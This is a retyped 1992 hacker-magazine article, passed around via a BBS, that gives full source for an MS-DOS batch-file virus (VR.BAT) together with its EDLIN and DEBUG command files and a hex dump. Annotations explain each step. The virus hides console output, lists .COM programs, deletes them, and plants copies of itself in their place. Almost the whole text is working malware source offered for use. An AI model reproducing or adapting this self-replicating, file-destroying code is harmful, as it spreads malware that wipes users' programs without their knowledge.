Vr

****************************************************************************** This Was Taken From 2600 Magazine Spring 1992 Typing Work Done by OMEGA/MEGA-Ind. Call Europe's Biggest H/P/A/V Board on +31-(0)79-426-079 ****************************************************************************** A BATCH Virus (By Frosty of the GCMS) ----------------------------------------Whoever thought that viruses could be in BATCH files? This virus which we are about to see makes use of the MS-DOS operating system. This BATCH virus uses DEBUG & EDLIN programs. NAME: VR.BAT ECHO = OFF CTTY NUL PATH C:\MSDOS DIR *.COM/W>IND EDLIN IND<1 DEBUG IND<2 EDLIN NAME.BAT<3 CTTY CON NAME

(Self explanatory) (This is important. Console output is turned off) (May differ on other systems) (The directory is written on "ind" ONLY name entries) ("ind" is processed with EDLIN so only file names appear) (New batch program is created with debug) (This batch goes to an executable form because of EDLIN) (Console interface is again assigned) (Newly created NAME.BAT is called)

In addition to this Batch file, there are command files, here named 1,2,3. Here is the first command file: NAME: 1 1,4D E

(Here line 1-4 of the "ind" file are deleted) (Save file)

Here is the second command file: NAME: 2 M100,10B,F000 E108".BAT" M100,10B,F010 E100"DEL" MF000,F00B,104 E10C 2E E110 0D,0A MF010,F020,11F E112"COPY\VR.BAT" E12B 0D,0A RXC 2C NNAME.BAT W Q

(First program name is moved to the F000H address to save) (Extension of file name is changed to .BAT) (File is saved again) (DEL Command is written to address 100H) (Original file is written after this command) (Period is placed in front of extension) (Carriage return plus line feed) (Modified file is moved to 11FH address from buffer area) (Copy command is now placed in front of file) (Copy command terminated with carriage return + line feed) (The CX register is ...) (Set to 2CH) (Name it NAME.BAT) (Write) (Quit)

The third command file must be printed as a hex dump because it contains two control characters (1Ah=Control Z) and this is not entirely printable. Hex dump of the third command file: NAME: 3

0100 0110 0120

31 2C 31 3F 52 20 1A 0D-6E 79 79 79 79 79 79 79 79 29 0D 32 2C 32 3F 52-20 1A 0D 6E 6E 79 79 79 79 79 79 79 29 0D 45 0D-00 00 00 00 00 00 00 00

In order for this virus to work, VR.BAT should be in the root. This Program only affects .COM files. Remember Where You Saw it First -----------> Perfect Crime : +31-(0)-79-426-079 <------------Typing Work Done by OMEGA/MEGA-Ind.